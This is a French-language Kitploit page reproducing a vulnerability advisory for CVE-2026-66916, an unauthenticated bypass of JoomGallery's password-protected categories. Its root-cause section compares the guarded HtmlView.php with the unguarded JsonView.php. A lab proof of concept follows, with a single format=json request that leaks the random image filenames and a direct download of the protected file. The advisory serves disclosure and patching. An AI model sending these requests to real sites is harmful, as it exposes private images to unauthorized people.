Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-66916 — Contournement de catégorie protégée par mot de passe via le format JSON dans JoomGallery | Kitploit
Outils/GitHubGitHub/toanln-cov/cve-2026-66916
Analyse des VulnérabilitésExploitation d'Applications WebSécurité Web
GitHubtoanln-cov/cve-2026-66916

CVE-2026-66916

Contournement de catégorie protégée par mot de passe via le format JSON dans JoomGallery

Voir le dépôt
il y a 1 jourPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Contournement de la protection par mot de passe des catégories via le format JSON dans JoomGallery

JoomGallery ≤ 4.3.0-stable — Un attaquant non authentifié contourne la barrière du mot de passe pour télécharger des images protégées

CVE CVSS v4.0 CWE-284 Affected Researcher


RÉSUMÉ

Un contournement de contrôle d'accès non authentifié existe dans la vue JSON des catégories de JoomGallery. Lorsqu'une catégorie de galerie est protégée par un mot de passe, la vue HTML applique correctement la barrière du mot de passe — mais la vue JSON (format=json) ignore complètement cette vérification.

Un attaquant distant sans identifiants peut récupérer le titre, la description et les noms de fichiers aléatoires de toutes les images protégées de la catégorie, puis télécharger directement ces images. La protection par mot de passe est contournée avec une seule requête HTTP.

Le contournement est limité aux catégories dont le niveau d'accès ACL de Joomla est défini sur Public (access=1). Les catégories restreintes aux accès Registered ou Special restent bloquées au niveau de l'ACL dans JsonView.php:69.

Télécharger l’outil

VERSIONS AFFECTÉES

COMPOSANTVULNÉRABLETESTÉ SURCORRIGÉ
JoomGallery4.3.0-stableJoomla 5.4.7 + JoomGallery 4.3.0-stable (PHP 8.x / Apache)4.4.0

DÉTAILS DE LA VULNÉRABILITÉ

Type : Contrôle d'accès inapproprié (CWE-284) Authentification requise : Aucune — non authentifié, une seule requête HTTP Fichier : site/com_joomgallery/src/View/Category/JsonView.php, lignes 76–96

Cause racine

JoomGallery implémente la protection par mot de passe des catégories via un indicateur pw_protected. Cette vérification est présente dans HtmlView.php mais totalement absente dans JsonView.php :

HTMLVIEW.PHP — CORRECT (protection présente)

root@kitploit:~
// content is withheld and a password form is rendered
if (!$this->item->pw_protected) {
    $this->item->images->items   = $model->getImages();
    $this->item->children->items = $model->getChildren();
}

JSONVIEW.PHP — VULNÉRABLE (aucune protection)

root@kitploit:~
// JsonView.php:76-96 — no pw_protected check; content returned unconditionally
$this->item->parent          = $model->getParent();
$this->item->children->items = $model->getChildren();  // always executes
$this->item->images->items   = $model->getImages();    // always executes
$this->output($this->item);  // serializes full response to JSON including filenames

Le paramètre format=json de Joomla achemine la même URL vers une classe View distincte. Chaque View doit appliquer indépendamment les contrôles d'accès — le framework ne les propage pas automatiquement. Le développeur a ajouté la protection pw_protected dans HtmlView mais l'a omise dans JsonView.

La protection par mot de passe de JoomGallery repose sur la confidentialité des noms de fichiers des images — les fichiers sont stockés comme ressources statiques sous /images/joomgallery/originals/ et servis directement par Apache sans aucune authentification côté serveur. Les noms de fichiers sont aléatoires (par exemple, secret-image-1_20260803_1951053711.jpg) et ne sont divulgués qu'après avoir réussi la vérification du mot de passe via la couche PHP/Joomla. Le contournement JSON brise ce modèle en divulguant les noms de fichiers aux demandeurs non authentifiés, complétant ainsi la chaîne d'attaque jusqu'à la récupération complète des images.


PREUVE DE CONCEPT

Configuration du laboratoire :

  • Catégorie : Secret Gallery (id=3, pw_protected=true, access=Public)
  • Contient : Secret Image 1 (secret-image-1_20260803_1951053711.jpg)
  • Aucun cookie, aucune session, aucun identifiant utilisé dans aucune des étapes ci-dessous

1. La vue HTML applique la barrière du mot de passe

root@kitploit:~
GET /index.php/component/joomgallery/category/3

Résultat : Le formulaire de mot de passe est affiché. Aucun contenu de catégorie visible.

Étape 1 — Barrière du mot de passe HTML


2. L'accès direct aux images est également bloqué via HTML

root@kitploit:~
GET /index.php/gallery/categories/3-secret-gallery

Résultat : L'accès direct aux images est bloqué dans le chemin d'alias (/3-secret-gallery)

Étape 2 — Accès aux images bloqué


3. Le format JSON contourne la vérification du mot de passe — Fuite du nom de fichier réel

root@kitploit:~
GET /index.php?option=com_joomgallery&view=category&format=json&id=3

Réponse (HTTP 200, sans authentification) :

root@kitploit:~
{
  "success": true,
  "data": {
    "title": "Secret Gallery",
    "description": "<p>SENSITIVE: Internal photos — restricted access</p>",
    "pw_protected": true,
    "access": 1,
    "images": {
      "items": [
        {
          "title": "Secret Image 1",
          "filename": "secret-image-1_20260803_1951053711.jpg",
          "cattitle": "Secret Gallery",
          "access": "Public"
        }
      ]
    }
  }
}

pw_protected: true confirme que le mot de passe est défini. Malgré cela, la réponse complète, y compris le nom de fichier aléatoire, est renvoyée à un appelant non authentifié.

Étape 3 — Le contournement JSON divulgue le nom de fichier


4. Téléchargement de l'image protégée à l'aide du nom de fichier divulgué

En utilisant le nom de fichier obtenu à l'étape 3

Résultat : HTTP 200 — le fichier image est renvoyé directement par Apache. Aucune authentification requise.

Étape 4 — Image protégée téléchargée


IMPACT

  1. Lire les métadonnées des catégories protégées — titre, description, informations de création, hiérarchie parent, tout est renvoyé sans authentification
  2. Énumérer tous les noms de fichiers d'images dans toute catégorie Publique protégée par mot de passe via une seule requête JSON
  3. Télécharger toutes les images protégées en pleine résolution originale via un accès direct aux fichiers statiques en utilisant les vrais noms de fichiers divulgués

Toute catégorie de galerie que l'administrateur a protégée par un mot de passe est entièrement compromise. L'attaquant n'a besoin que de l'ID numérique de la catégorie, qui est séquentiel et trivialement énumérable.


RÉFÉRENCES

  • CVE : https://www.cve.org/CVERecord?id=CVE-2026-66916
  • NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-66916
  • Avis GitHub : https://github.com/advisories/GHSA-g79m-pfhw-2c5m
  • Dépôt du vendeur : https://github.com/JoomGallery/JoomGallery
  • Note de version du vendeur : https://www.joomgalleryfriends.net/en/blog/joomgallery-4-en/joomgallery-4-4-0.html